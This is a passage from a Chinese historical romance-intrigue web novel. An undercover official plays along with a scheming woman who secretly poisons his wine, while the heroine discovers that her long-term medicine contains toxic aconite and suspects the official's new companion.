旁听的蒋望回心下一沉，萍萍却仍懵懂：“附子为什么不能常吃？” “药师说附子大毒，用来治病，轻者三五日，重者十来日便要停，要是日积月累，吃个几十斤，四肢麻痹，肝肾俱损。” 萍萍听完，沉静须臾，缓缓追问：“哪一种是附子？” 还有两包未煎，馆吏带了一包过来，拿出来挑出附子，教萍萍辨认：“就是这种，娘子已经吃多久了？” 萍萍算了下，官人之前一直在帮她抓药煎药，一个半月是有了。前天他还说会继续帮她抓药…… 萍萍面上不显，只谢过馆吏，并保证以后一定小心，再不吃了。待馆吏走后，她才问蒋望回：“蒋兄，之前女医开的方子有哪些药，你还记得吗？” 蒋望回不答反问：“你那没有方子吗？那这段时间如何抓药？” “那张方子一直在官人那里，都是他在帮我煎药。” 蒋望回心下已一片清明，喉头禁不住泛苦想咽，却怕萍萍看出端倪，生生抑下吞咽的冲动：“我记得好像是有附子，只是我不懂，想来他也不懂，”蒋望回眉眼微动，似在认真回忆，“你昏睡时女医好像叮嘱过我，让吃十来天再复诊，现在想来……是不是要换药的意思？” 萍萍茫然：是这样吗？ 她当时昏了许久才醒来，浑浑噩噩，现在更记不清了。 蒋望回替主担责，认下过错：“都是我的错，伤害了娘子身体。明日我会请郎中——” “不用不用，你看我这不是好好的吗？”萍萍打断他，为了证明身体无恙，还在蒋望回眼前转了一圈。 他凝睇分唇。 萍萍笑道：“再说无知者无罪，蒋兄不必介怀。耽搁了这么久，你快去向林公回报吧。” 蒋望回抿唇思忖，终决定回应一笑，还未扬起嘴角，神色就凝住。 蒋望回望向楼梯，萍萍也瞧见了，笑着打招呼：“蒋娘子。” 蒋音和以为萍萍夜夜私会殿下，伤风败俗，气了两个晚上了，终忍不住下来逮人，谁知萍萍却是和自己哥哥私下在一起，蒋音和顿时松了口气，心情转好，又颇玩味。 她步子轻快走到蒋望回身边：“阿兄，久等了，走吧。” 原来蒋娘子要和她哥哥一起回报，萍萍笑道：“那我先回去了。” 她转身上楼，蒋望回目送，直至眺望不见，收回目光，才看了一眼一直盯着自己侧脸的妹妹。 他大步流星往林元舆房中走去，蒋音和与之同行，沿途蒋望回面无表情，蒋音和抿嘴偷笑。 眼看快到林公门口，蒋音和掏出一个巴掌大小的四方小盒，塞到蒋望回手上：“帮我把这件东西交给郎君，就说是我给他的。” 蒋望回掂了一下，盒子颇轻，没有锁，只在盖与盒体的接合处贴了一道封条。 “里面是什么？”他严肃发问。 “好东西。”蒋音和做个鬼脸，“哎呀你就放心吧我的好哥哥，帮我一定交到郎君手上。” 片刻沉默后，蒋望回手下木盒，柔声道：“好了，我帮你转交。你快回去歇息，时候不早了。” “知道啦！” 兄妹分别，蒋音和回房，蒋望回自去知会林元舆。 * 酒楼，包厢。 眼前女子自称是凌传道的妹妹？ 柳湛是不大信的，但无所谓，一个上不得台面的庶女身份，是或不是，无关紧要。 他内心波澜不惊，却猜测她的心意，演出讶异神色，挑眉瞪眼，甚至流露一丝惊惧。 凌小环睹见柳湛反应，信以为真，凄凄一笑：“巡按很吃惊吧？毕竟天下皆知，我爹爹是一生一双人。” 老嘉侯凌遐龄只娶了一位范氏女，一生不曾纳妾，至死一妻一子，伉俪情深，本朝美谈。 其实柳湛一点也不吃惊，他下江南前特意查过江陵凌氏族谱，凌遐龄登记在册的妻妾只一位，但庶女有三人。 这很正常，莫说勋贵，就是寻常商贾，都十之有九收通房，置外室，甚至行院流连，一不小心弄出庶子女的，都大有人在。 柳湛觉得凌遐龄只是死得早，而人一死就容易被神话。 柳湛微微分唇：“确实，老侯爷贤伉俪和如琴瑟，下官一直以为，就只帅臣一人。” “连你都这么吃惊，所以难怪我那嫡兄会受刺激，”凌小环垂首勾唇，“他不信人间有真情，然后，”凌小环顿了顿，“伤害了一位深爱他的女人。” 凌小环忆起刚认识巧娘那会，巧娘对凌传道既炙热又无私，可凌传道却觉着世上哪有这么好的女子，他害怕了，只有对她恶劣些再恶劣些，催眠自己她的感情是假的，他也没有动情，才稍微心安。 讲故事讲究一唱一和，凌小环等着柳湛追问，再继续讲。柳湛却没耐心听表弟的情史，腻腻歪歪，英雄气短，儿女情长。 他不想浪费时间，绕回正题：“三娘子说这么多，不怕下官告发么？毕竟——你我可是润州的老相识。” 凌小环一瞬错愕，继而歪头微笑，右手手指在左手掌心轻叩：“那巡按究竟会不会供出我呢？” 柳湛心下一阴，同伙嫌犯才用一个“供”字，他是睥睨审讯的真龙，她是底下待捕的鼠蚁，也配与他平齐？ 但柳湛面上却是谦和，微微躬身，放低姿态：“三娘子既然敢背着帅臣设宴，那定是有十足把握，能拿捏下官。” “唉，怎么能用这么难听的词，我可没想过拿捏巡按，只想诚心实意做笔交易，彼倡此和。”凌小环指那杯中为柳湛斟的酒，因他一口没喝，一直放着，已是满室飘香：“御史台巡按是八品吧？” 柳湛点头，手扶上酒杯。 凌小环肆言无惮：“我可以捧你坐到林公之位。”见柳湛手扶杯迟迟不举，以为他惧，“怎么，巡按不敢，没有这个勇气？” “当然敢了，”柳湛眨了下眼，再睁开时眸内满是渴望，“贤者在位，能者在职，有能则举之，无能则下之。只不过……”他话锋一转，“娘子让长随在楼下拦的可是两个人。” “唉——”凌小环摆手，“这个当日润州我就瞧出来了，另外一位对你那是马首是瞻，到时候你做中丞，他当个侍御史嘛。” 柳湛齿在合着的唇后轻叩，看来以后微服，要和希颜更谨慎些。他旋一笑：“三娘子肯捧下官，下官求之不得，三生造化，可说了这么多，三娘子自己又有何求呢？” 凌小环笑而不语。 柳湛亦笑：“帅臣待您不薄，又同枝连根，何以至此。” 凌小环暗暗点头，眼前这姓杨的是聪明人，她没挑错：“实不相瞒，我也知道一家子人一荣俱荣，一损俱损，但阿兄现在英雄气短，儿女情长，再这样下去，凌家迟早毁在他手上。” 这话柳湛听着有两分耳顺：“娘子巾帼不让须眉，杨某佩服，只是不知道需要我做什么？” “你过来。”凌小环招手，柳湛只微微倾身，哪知她竟贴到他耳边，柳湛背到身后的那只手顿时按上袖剑。 “你就照我说的，这般……这般……再这般……”凌小环笑嘻嘻吩咐，“这第一件事成了，到时候我就再给你讲讲，我为什么会去唱杂戏。” 柳湛强压着想要后仰离远的冲动，眉眼尽笑：“那到时我一定洗耳恭听。” 他举起酒杯，凌小环见状亦举起，二人隔空一碰，各饮杯中酒。 少倾，柳湛放下酒杯，凌小环垂着眼皮，不动声色去瞥，见杯见了底，至此刻，才完全放下戒心，觉得此事成了。 …… 柳湛跨出酒楼门槛后，立刻深吸数口，吐尽包厢污浊，但袖中藏的那只吸尽酒水的绢帕，直到确定无人尾随后，才随手掷于灰堆中。 这一带茶坊、脚店、酒楼鳞次栉比，没有宵禁 的夜晚，高张灯火，人声鼎沸，丝竹管乐不断从两侧传到街上。 柳湛原打算径直路过，却倏地定足，扭头看向脚边那家店高悬描金的招牌——仙鬓楼。 柳湛转身，走进这家首饰铺。 立马有店小二迎上：“大官人想看点什么？冠子还是宝簪？我们家冠子一绝的。” 柳湛径直朝里走，直走到底，紫檀架格上琉璃罩罩着一支金钗，曲折弯绕仿若流云，而那钗尾嵌缀的一颗宝珠犹如满月，炯炯发光。 柳湛定定凝视。 “大官人好眼力，此乃我们店的镇店之宝，那满月可是货真价实的夜明珠，白天可能还不显，愈暗愈亮。” 小二说着吹灭左右灯烛，四周骤黯，夜明珠却亮了树被，光芒耀眼，不仅照亮架格，还映得天花板波光粼粼，好似投射一汪星河。 第46章 第四十六章 既结夫妻，生死与共。…… * 柳湛走后， 凌小环仍继续待在包厢里。 她个头矮，臂膀也不长，索性站起来走到桌对面坐下， 捏着柳湛饮过的酒杯杯脚， 晃了四、五下， 还剩一、两滴，不打紧。 凌小环笑嘻嘻再去拿壶，摸到机关——这酒壶其实是鸳鸯壶， 内藏乾坤， 分阴阳两半，一半盛着毒酒， 一半无毒，中间隔断，但从同一个壶嘴出水，通过机关改变匣口。 她刚才给自己斟的是无毒的，给柳湛斟的毒酒，但却不是立即毙命的毒药，无色无异味， 人浑然不察饮下， 要等半月到一月， 毒浸遍骨血后， 才会发作衰歇。 凌小环估摸算了，到那时这个杨巡按差不多用完，也该死了。 她指腹挪动， 轻扒机关，调到无毒那边，自斟自酌。 许久， 之前给柳湛领路的长随入内，冲凌小环摇头：“三娘子，刑狱司的节级押司都问遍了，那人再没来买过凶。” 凌小环扬眉入鬓，长随会意，继续道：“其它的，衙门，常平，能问的都问过了，都不见那书生现身。” 凌小环双唇轻弹，似叹似啧，怎么就突然消失了呢？ 可惜，本来还想邀请他，把扬州这趟水搅得更浑。 * 明月归人。 柳湛将一拐入这条街，就朝斜对面的驿馆眺去，果然瞧见倩影闪过。 他晓得萍萍下楼来迎，脚下不由自主加快，三步并做两步，过街跨进驿馆。 萍萍提裙下楼，还剩几级台阶，眺见柳湛，直接笑着跳下，一下跃过三级台阶。 “唉，慢些！”柳湛快跑两步，扶住落地的萍萍。今天他心情好，不自觉带笑，亦短暂忘却那些骗来骗去的糟心事：“怎么还没睡？” “怎么回这么晚？”萍萍几乎同时出声。 “事多。” “我在等你。” 两人各答各的，声音再次交叠到一起。 萍萍咬唇闭紧，下回让官人先说。 柳湛盯她发笑，抬手摸了摸萍萍脑袋：“好了，现在人见到了，快去睡吧。” “我说个事，说完就去睡。” 柳湛见萍萍一脸严肃，心知是正事，随即顾忌隔墙有耳，正好二人所伫之处，靠近与庭院交接的拱门，是个风口，柳湛便扶了下萍萍胳膊：“有风，先回房再说。” 夜风从两侧涡入，吹在萍萍身上，凉爽却不寒冷。过了端午送寒衣，现在的风不用避的。 但她晓得官人是关心她，为她好，所以没有驳他的面子，反而笑着点头：“好。” 她随他穿庭院，过长廊，走道渐变狭窄，两个人并排可能会有些挤，萍萍便慢慢落到柳湛身后。 两、三步，柳湛回头。 三、四步，他又后望，好像身后长了条小尾巴。 不要做尾巴，柳湛停下脚步，反手去牵她，拉到自己身边来并排。 “会不会有点挤？”萍萍缩肩膀。 柳湛把手挪到她腰间，紧紧箍着，身贴着身：“这样就不挤了。” 萍萍一个不容易红脸的人这会也红了，但身上依旧跟他贴得紧紧的，柳湛瞥一眼，被传染，耳根微热。 两个人到了房中才分开，柳湛掀袍坐下，笑道：“说吧，什么事。” 萍萍是第1回 进他的客房，环视一圈，什么都想记住。 她在柳湛身边坐下，柳湛笑着就要抬手揽，忽听萍萍认认真真告知：“今天馆吏大人和我说，女医开的药不能长期吃。” 柳湛臂倏一滞，萍萍不察，续道：“因为里面的附子是有毒的。”她低头捶手，“得亏馆吏发现及时，我才没有受到伤害，真要好好谢谢他。” 说到这萍萍觉得自己福气大，老天保佑，总能逢凶化吉。 她不自觉笑了下。 “既然有毒，那女医为何还给你用？” 萍萍一听柳湛问，就不假思索抬首望向他，等她觉出他声音阴恻愤怒，不同往常时，已经完全对上了柳湛不知何时变得幽冷深邃，带几分狠劲的眼睛。 萍萍脸上笑意本能敛去。 柳湛紧紧锁住萍萍双眸。 她突然有些怕，恍觉他审问自己，又像透过她问罪女医。 萍萍连忙帮女医辩护：“那砒霜还能入药呢，附子大毒，非用必小，吃几副是治病，吃几十斤才是杀人。”她怕柳湛又多问责一人，隐去蒋望回不提，“而且当时女医叮嘱过我，吃几天就要记得去找她复诊换药，是我自己忘了。” 刹那间，就像雨过天晴，柳湛的表情突然变得极柔和，满目自责：“没想到我竟在做刽子手——” “千万别这么说！”萍萍打断他并握住他的手，“你也不知情呀，我跟你说没有责备你的意思，只是想以后大家都注意点，遇到方子里有附子的，要特别小心。” 柳湛移眸，在她脸上来回扫了两趟，沉声道：“嗯，不吃。” 萍萍歪头靠到他身上，柳湛旋即揽住，两人谁也没说话，十分静谧，只听得见萍萍的呼吸声。良久，她低轻像在自说自话：“而且我愿意把性命交到你手上。” 既结夫妻，当作生死之交。 轻轻飘进柳湛耳中，他想，好话人人会说，但世上哪真有这么至诚的人。 柳湛移目远眺，只作未闻。 萍萍又同他说了些旁的话，小儿女亲昵，道过晚安后两两分别。柳湛只在门口目送，萍萍身影刚消失不久，蒋望回就出现在门外。 柳湛眺一眼，转身负手跨进客房，蒋望回跟着，带上门，而后才禀报：“林公那边属下已俱交待，明日会去府衙查清，早日重拟报官流程。” 柳湛颔首：“你随我去找林公，还有个事也要交待。” 他说着就准备推门，蒋望回在旁道：“这个点林公恐怕睡了。” “叫他醒来。”柳湛一边说，一边毫不犹豫推开房门。皆在同一层，无需上下，二人不一会便至林元舆门外，耳力皆好，能听见房内鼾声。 柳湛觑了蒋望回一眼，蒋望回会意，上手叩门，一回两回，逐次加重，仍无人应声。蒋望回咬了咬牙，狠下心来重重拍门，却又觉失仪，明明除了柳湛没人围观，他却头垂得极低。 良久，林元舆怒气冲天的声音传来：“谁呀？” 蒋望回正欲开口，柳湛先声道：“是我。” 里面没了怒声，接着就听咚一闷响，许是林元舆撞了桌角，他开门还没全开，就已谦和发问：“怎么了，是不是有什么急事？” 蒋望回因为拍门的缘故，先柳湛几刹眺见林元舆全貌，鹤发披散，官袍搭在背上，还捂着膝盖，分外苍老。蒋望回有些于心不忍，但转念又想，自己祖父像林元舆这般年纪时，仍统兵戍边，能拉满弓。 “请恕下官鲁莽，打搅林公歇息，实是有一事不得不禀。”柳湛先装样子，鞠躬行礼，蒋望回收敛心神，也跟着躬身。 “不打搅不打搅，事急从权，理当如此。”林元舆边扶边让，“快进来讲。” 柳湛进门，也不拐弯抹角，直言道：“就说杨廉案走了一名嫌犯，恐逃来扬州，全城张贴搜捕，将杨廉的人像并罪状一并贴在旁边。” 林元舆不解： “杨廉已经斩了呀？” 问完他自己意识到了，杨廉案虽然轰动官场，但传没传进百姓家？ 他这几天不是吃酒坐席，就是回驿馆早睡，不曾实地走访过，于是不敢再多言，只应好：“好，好，老夫这就去办。” 柳湛旋起嘴角，柔声带笑：“更深露重，林公辛苦。”又道，“我们稍候便来协助林公。” 林元舆忙道：“不用劳烦郎君，就两三句的事，老夫自己就能吩咐。” 柳湛继续坚持，林元舆推却，如此两、三来回，柳湛好意难却，不得不和蒋望回一道告辞，回去歇息。林元舆口中说着“郎君慢行”，纵然上下眼皮打架，也仍送到门口。 柳蒋二人回到柳湛房内，才继续私语。蒋望回问柳湛：“郎君后来见了什么人？是那人让您贴告示的么？” “是。”柳湛先答后一个问题，再答前面，“就是我们之前在瓦子见的那个双双娘子。” “她？”蒋望回脑中瞬闪双双逃脱情形，又想她许是向萍萍射暗针的凶手，不由喉头一紧，“她到底是做什么的？” “身份未明，但应该和凌传道有怨。” 听柳湛这般答，蒋望回即知郎君尚未完全摸清，便不再追问。 柳湛抬手放于桌上，反而自己说道：“她今日在酒楼一说，我仔细回忆，的确没在民间听到过议论杨廉。”柳湛促眸看蒋望回，“这可能是此案的突破口，我猜凌传道在隐瞒杨廉的死讯。” 至于怕谁听到，恐怕就是三娘子提到的，那位被辜负的佳人。 看来还得继续听儿女情恨，柳湛想到这捏了下眉心。 “郎君。”蒋望回突然掏出个四方小盒，呈递柳湛。 柳湛只瞧一眼，随即接过：“什么东西？” 似嗅到龙涎香。 “属下也不知道，是音和托属下转交给您的。” 柳湛手顿了下。蒋望回看在眼里，嚅唇涩道：“倘若盒中之物冒犯，便是属下教导无方，一己担责。郎君……只管退还。” 柳湛心道要真觉得冒犯，就不该递到他眼前，面上却笑：“这话讲重了，小孩子许是觅着了什么稀奇玩意，也是她一片心意。” 说着将方盒揣入怀中。 待蒋望回走后，柳湛才重拿出来，忌惮蒋音和被人利用，盒内或埋机关，他将开口那一侧对外，用剑挑开封条，小心谨慎，等了一会，才去细看。 竟是一只绣着并蒂莲的素白锦囊，莲叶田田，莲花正红，根茎连成一根，相依相携。 第47章 第四十七章 “你答应过我的……”…… 柳湛顿时泛起一股恶心， 连盒带香囊一并丢进抽屉，再不看第二眼。 等离开扬州，自有馆吏收拾这类没带走的物拾， 丢进灰堆烧掉。 是夜， 杨廉的告示转瞬贴满扬州城。 街头巷尾纷纷在传， 原来那天码头放烟花迎接的大官不仅仅是来巡察，还是来抓人的。 之前城里的杨廉杨大人，竟然造。假犯私， 已经被砍头了。 听隔壁润州人说啊， 那脑袋斩下来弹了一下就稳稳落地，都不带滚的。 …… 纷纷扰扰， 仅仅一、两日就传进凌传道府中。 “帅臣饶命，帅臣饶命！”三名女使匍匐跪地，不住磕头，不远处躺着一具女尸，凌传道垂着长剑，剑锋犹在滴血。 他闭着眼：“这府里再听见谁嚼舌根，都杖杀了。” “奴婢不敢， 不敢再说了。” 凌传道挥剑， 仍将三女使逐一捅死。 他浑身发抖， 怎么办， 杨廉的死讯传开来了。 他知道有人在做鬼，极可能是三娘，传召三娘， 三娘也不来。 已派遣人手知会府衙和刑狱，试图撤下告示，封堵民口， 可结果不尽人意，他晓得自己应该亲自出去走一趟，可是不敢呐，万一他走以后，别人趁机把杨廉的死讯透露给巧娘，怎么办？ 毕竟她曾咒誓，杨廉三娘若死，自己也再无生意。 亦或者，他不在，巧娘又逃了呢？ 试过了，没有她的日子他一天也忍不了。 凌传道也不敢拿铁链子锁巧娘，强迫她，因为她是做得出来咬舌自尽的。 他持剑的手不住抖动，不管哪一种假设，都不能再失去她。 凌传道收剑更衣，确认身上没有残留血腥味后，才回房中继续守着巧娘。 * 艳阳高照好晴日，但因为天气偏热，街上行人反比前些日子少。 凌小环着彩绘描金的白罗衫，内搭枣红抹胸，手拿一柄不及巴掌大的小金扇，边摇边笑：“这几天衙门门前不分昼夜排长队，听说那闻登鼓都敲烂了两张皮，巡按大人竟还敢堂而皇之，优哉游哉地逛街？” “清官清官，便是清闲做官。”柳湛着了件薄些的荼白圆领袍，与她并肩，负手伴行，笑若春风：“而且三娘约我，我不敢不来。” 凌小环闻言噗嗤笑出一声，金扇摇得更勤。 柳湛续道：“倒是三娘您，公然与下官同行，不怕帅臣瞧见？” 凌小环心道怕什么呀，凌传道如今就是个缩头乌龟，天天守着巧娘，担惊受怕。 他传她两回她都没去，还不是不敢杀她。 凌小环另起话题，敷衍过去：“哎呀今日这天热的，我出门都懒得穿男装了，薄薄一件，”她手在身前竖着比划道弧线，“任谁都能看出来。” 柳湛笑着瞟了凌小环一眼，收回目光。 二人再慢行两、三步，柳湛笑道：“三娘子不是说，今日要给下官讲杂戏么？” 凌小环意味深长注视柳湛，而后笑起来：“是呀，这就讲。巡按大人总只愿听自己想听的。” 柳湛噙笑不语。 凌小环边走边道：“我唱杂戏，是因为我娘从前就是瓦舍里唱杂戏的。她有位义结金兰的姐妹，一样唱戏，论起来我该叫声姨……” 数十条街间隔，同文馆商铺内，萍萍今日收到润州寄来的当票，赶上星簪交付，便来柜台交尾款，取簪子。 可真漂亮，她捏着簪子，辗转地瞧，发现有一颗金星上落有浮灰，立马拿出绢帕仔细擦拭。 番商在旁瞧着，禁不住感叹：“娘子好生爱惜。” 萍萍挺胸：“这可是要送给我官人的。” “你官人要过生辰了吗？还是娘子家中有别的喜事，春闱？” 萍萍摇头：“这不是贺礼，是官人先前送过一支，我想回礼。” 番商闻言点头，有来有往夫妻更易长久，萍萍却被生辰提点，想起来蒋望回的生辰礼还没准备。 正好在杂货铺，她就去询价之前那把惊艳到她的象牙折扇。 竟然要几百两，把她身上钱掏空都不够。 萍萍又问了几件小些、粗糙些的象牙物价，价格亦咂舌。 她笑着放下象牙摆件，抬腿要走，说再看看。 象牙番商瞧出她买不起，却没有鄙夷，毕竟人皆有难：“娘子究竟想买个什么价钱的呢？” “十两以内吧……” “送男送女？” “男的。” “我们家恐怕没有，”番商给萍萍指别的柜台：“娘子去瞧瞧那边卖剑穗的，或者那家卖发簪？” 萍萍顺着望去，正是自己订簪子的柜台。 “或者娘子买点香料，给他绣个香囊、荷包，花不了多少钱，心意却足够。” 萍萍摇头：“老丈说的香囊穗子发簪，皆是贴身之物，只能送胞亲或者夫君，我要送生辰礼的这位，只是朋友，不能太过亲密。” 番商点头，挺赞许她拧得清：“那就只能买些字画、砚台，或者茶叶之类了。我们这里没有，娘子要到城中去寻。” “多谢老丈提点，我这就去。”萍萍谢过番商，就往城里去。 她前些天都窝在驿馆里，还是第一回逛扬州，走了半个时辰，发现扬州处处是桥，洗马桥、次南桥，下了南阿师桥又到周家桥。卖文房四宝的铺子没寻着，倒是有不少卖字画的，亮眼的买不起，买得起的又拿不出手。 天气热，萍萍浑身是汗，口舌发 干，便去街边买饮子解渴，她爱绿豆水，但润州人爱卤梅水，卖绿豆水的不多。扬州人却和萍萍一个口味，每家香饮子摊都有绿豆水，还便宜，才两文。 这天卖的都是冰雪饮子，极凉，一口气吞不了，她咽一大口，喉咙慢慢蠕动，瞧着街对面，另一只手拿帕子擦汗。 对面缓缓传来吹笛声。 并不婉约，反而雄浑清亮，可裂山河，包括萍萍在内，许多行人驻足聆听。 但周遭屋檐上的雀鸟却尽数吓跑了。 一曲终了，许多人喝彩鼓掌，萍萍也喝完了绿豆水，还了碗后，过街一探究竟。 原来对街是家卖笛子的商铺，名唤落梅斋。 的确是好笛，不然吹不出这声，但她不晓得蒋望回会不会吹笛，显然不能买作贺礼。萍萍没有跨入斋门，而是侧身沿着这条街继续寻觅。 刚走过店铺，就瞥见和邻家间隔的小道上支着一架秋千，杆上缠着几根藤作装饰。 忽然漫天席地的悲恸朝萍萍袭来，她根本抗拒不了。 萍萍不仅笑容消失殆尽，腿也变得铅沉，却仍情不自禁一步步挪向这架低矮的，只能坐不能站的秋千，坐到画板上。 她低头，掌心细细抚过画板，又摸麻绳，想触及秋千的每一部分。强烈的熟悉让她笃定自己在这荡过秋千，还不止一次。 但是记不起了，是和官人一起荡的吗？ 目前为止，萍萍想起来的三十余件回忆里都有官人，她却隐隐觉得，这秋千是属于她自己的，与官人无关的记忆。 这无疑新奇且令人激动，萍萍却仍被巨大的哀恸笼罩，她像秋千对面，墙缝里的那块石头，讲不出来话。 明明无比伤心，却完全哭不出来。 她在秋千上坐了足足一刻钟，心情才稍微好点，摇摇头：“我这是怎么了。” 匆匆起身，继续去寻文房四宝，落梅斋楼上，裴改之攥着竹笛，视线随着萍萍身影缓移。 最近不知道是什么人，满城打探他的消息，裴改之忌惮不敢再出手，只能这般痴痴凝望。 裴改之身后，店小二直翻白眼，这人进来就说自己随便逛逛，不用推荐，然后站在这张漏窗边一伫刻把钟，一排笛子拿起放下，放下拿起，他哪里是挑笛，分明为了偷窥窗外那位小娘子。 小二忍无可忍，大声询问：“大官人可是相中了这支？” 裴改之心里一慌，本能背身，担心萍萍听见声音瞧见他，又避如蛇蝎。 “大官人相中了吗？”店小二追着问。 裴改之压低声音：“嗯，帮我包起来。” “大官人眼光好啊，这支紫竹的纹路老……” 裴改之不会吹笛，压根不关心，小二的叨叨在他耳中就如蚊子嗡嗡，只想赶紧结账出门，继续尾随萍萍。 裴改之中指扣到食指上，些许焦灼，小二要再包慢点，只怕出门就瞧不见她了。 萍萍的确离开了这条街。 前面三岔口，她随便挑的右道，挨个仰望店铺招牌，终于见着家松墨轩，进去问砚台，有一背面铭有扬州十景的方砚，纹理润泽，八两的价钱也可以承受，她兴高采烈让店主人包好，然后就瞧见柳湛和一貌美少女边说边笑，打门前经过。 萍萍血瞬倒流，笑容凝固脸上。 柳湛正听凌小环说旧事。凌小环她娘是润州瓦舍里唱杂戏出身，二十年前名动一时，但凡开唱，座无虚席。 某一日有位大人包场，她在戏台上见到宴请的贵客，荆湖调任来的，爱听杂戏的忠勇侯凌小侯爷。 她只卖艺不卖身，侯爷爱妻如命，洁身自好，二人就是喝喝酒，聊聊戏，知音相吸。但侯夫人却不信，三番两次从侯府直闹到瓦舍，侯爷很丢面子。 再后来，不晓得又发生什么事，夫人伤了侯爷的心，他常来小环她娘这买醉诉苦，有一夜两人都醉了，不小心结了露水情缘。 就是这一夜，有了凌小环。 侯爷一直把她们母女俩养在外面，直到侯夫人去世，滴血验过亲，才将凌小环接回侯府，认祖归宗。 凌小环娘在瓦舍时，有一结义金兰的小姐妹，也是唱戏的，生下个女儿，便是巧娘。 巧娘没小环命好，生父不详，但她娘运气不错，没几年被杨大人相中，娶回家做第六房小妾，后诞一子，便是杨廉。 小巧娘瓦舍里游荡，吃百家饭，凌小环她娘不忍心，便收容了巧娘，当干女儿养在身边。 “巧娘她亲生母亲去世前，叮嘱她要照顾好弟弟，说是她在这世上唯余的亲人。”凌小环边走边摇头，“巧娘死脑筋，竟真对那杨廉掏心掏肺，呵，几十年没见过两次面。” 柳湛含笑倾听，余光习惯环扫，冷不丁瞥见松墨轩内萍萍，心骤一紧。 他没有控制住变了脸色。 幸好凌小环低头嗤笑，没有瞧见，柳湛赶紧恢复笑意，但一颗心仍砰砰乱跳，也不知自己怎么这么不淡定。他迈开腿往前跨了两大步，试图将凌小环引开，远离松墨轩，却又担心自己走太快引起怀疑，只能不紧不慢，心急如焚。 凌小环走的靠近街边这侧，柳湛靠路，她一抬头，他怕她眺松墨轩，旋即出声：“所以杨廉对巧娘并无姊弟之谊，只不过借她攀附帅臣，肆意妄为。” 凌小环盯着柳湛，暗暗吃惊：这杨巡按怎么了？之前从不说破的。 她打量柳湛眼唇，可惜了，颜色独绝，相处久却发现也是蠢人。 还好毒了。 认定柳湛必死无疑，凌小环索性答他：“是啊，早前巧娘带我见杨廉，只一面，我就看出他是个贪得无厌的，后来我扮双双，他竟没认出我。”凌小环想想杨廉、凌传道，又瞥柳湛，也许全天下的男人都是蠢货，“巧娘自觉与杨廉相护倚靠，他死了她也不活，杨廉就借着这一点要挟阿兄，阿兄便对他一纵再纵……” 二人已远离松墨轩，柳湛暗松口气，对凌小环的叨叨也敷衍起来，左耳进，右耳出，只觉她对自己的父亲老忠勇侯，言语间颇为崇拜，对侯夫人和凌传道则颇有微词，直言母子俩都作天作地。 看来凌小环和她娘虽然伏低做小，却不是真的善解人意。 柳湛正笑，忽心又一沉，莫名笃定萍萍跟来身后了。他笑道：“三娘所言极是。”微微侧首似对视凌小环，实则余光窥后，唉，萍萍果然在后面。他只能赶紧收回目光，看起来好像一直在笑睇凌小环。 “所以我教你的第二步，记得去做。” “三娘且请放心。”柳湛旋即接话，免叫凌小环起疑，“只是不知这回事成后，三娘又要给我讲什么新故事呢？” 柳湛反剪在背后的手攥拳，比眼下危险百倍千倍都能不动声色经历，现在手心却出了汗。 “怎么能现在就告诉你，”凌小环莞尔，“我要卖个关子。” 到时候他都死了，用不着再听故事。 “三娘这可是勾着我了。”柳湛应付，凤眼一笑就特别潋滟，反把凌小环勾得一怔。 她赶紧告诫自己，眼前这是个草包、死人。 凌小环也不想继续再待下去，与柳湛心思撞到一处，两人假意热络，又虚与委蛇三、四来回，才分道扬镳。 此时距离驿馆仅剩三条街，柳湛担心凌小环的人跟踪，不敢与萍萍相认，只独自往驿馆走，时不时余光窥视，她一直跟在后面。 柳湛刻意压着步子，既不会太慢离萍萍太近，被人瞧出端倪，也不会太快丢下她，怕她不安全。 直到快踏进驿馆时，萍萍才喊：“官人。” 柳湛咬咬牙，先跨进门里，走一步半，才回头吃惊道：“你怎么在这？刚才出去了么？” 萍萍静静望着他，其实她已经跟了很久了。 “我一直跟在你后面，看见你和一位小娘子同路。”因为柳湛一直在往后退，萍萍也追着他跨进驿馆，“是你在扬州的朋友吗？” 驿馆有人往来，柳湛抿唇穿庭院，争取早点回房：“算不上吧。” “可是……”萍萍欲言又止。 他不想再聊这，另起话题，转身笑问萍萍：“你今 天出了门？去哪了？” 柳湛目光扫向萍萍手里揣着礼盒，他亲眼瞧见她在松墨轩包了一方砚台。 是送他的吗？ 柳湛暗喜，等萍萍送礼，萍萍却继续道：“可是就是她领我上的焦山，射暗器的也是她，我记得那双眼睛！” “官人，信我。” 柳湛抿唇蹙眉，淡道：“我知道。” 他些许不悦：不然自己街上缘何那般紧张？就是怕三娘再次见到萍萍。 “那你还同她谈笑风生？”萍萍声音发抖，“你答应过我的，一定会为我报仇。” 她的阿湛不是这样的，记忆里阿湛永远嫉恶如仇。 第48章 第四十八章 鸡同鸭讲 柳湛顿了下脚步， 余光环扫周遭：“回房再讲。” 萍萍竟真跟着回到柳湛房中。 柳湛回身坐下，见萍萍依旧愣怔盯着他，眼睛一动不动， 手还攥拳， 这人还费解兼愤慨呢， 他有些气笑，又想她还真是藏不住事，心里想一， 脸上不会显露二。 柳湛伸手拿桌上自己用的银盏， 先看一眼，确认没有被调换， 才斟茶水：“我当然记得答应过什么，但眼下要彻查案子，须先与她化敌为友，至少面上瞧着，要像朋友，”他亲自斟茶推到她面前，“来， 喝点水。” 待萍萍饮下， 他才续道：“小不忍则乱大谋， 报仇不急一时。” 相信她能理解， 不要再做跟踪之事，他亦担心自己再遇到像今天这样的事，还会失常发挥。 柳湛没再对视萍萍， 而是眺向门外，他已察觉熟悉的，蒋望回的脚步声。 未免称谓露馅， 蒋望回将一敲门，还未开口，柳湛就在门内允道：“进来。” 林元舆连日升堂问审，终于草列了一页凌传道怠政檄文，蒋望回今晚拿回来给柳湛瞧，若是可以，将尽快补全成文书。 蒋望回推门启唇，手也摸向怀中，就要递呈，却乍见萍萍，话急噎住，手倏僵滞。 蒋望回望着萍萍的脸。 萍萍却没有对视蒋望回，仍一眨不眨注视柳湛。虽然听懂了官人的话，也清楚他的解释合情合理，她不该再纠结，但就是觉得阿湛讲不出“小不忍则乱大谋”这样的话。 她的少年风风火火，直来直去，恩怨分明，痛快肆意。 看见地痞调。戏女子，他忍不了，马上跃下，当街一个暴踢，哪怕地痞坚称女子是行院而非良家，官人仍将地痞痛揍：“管她是什么，不愿意就是不愿意！” 他还因为忍不了，当面戳穿一群人的恶行，那群人恼羞成怒，刀剑相向，官人一人迎敌，招招不乱，直到歹人趁机偷袭萍萍，他才失却方寸，折返回护，腹上挨了一刀。 这些都是萍萍刻骨铭心的回忆，她甚至清楚呀记得，那时候他还没有簪发，仅用一条与发同色的墨带束起，打斗时拳脚猎猎生风，发带飘呀飘，就飘进她心里。 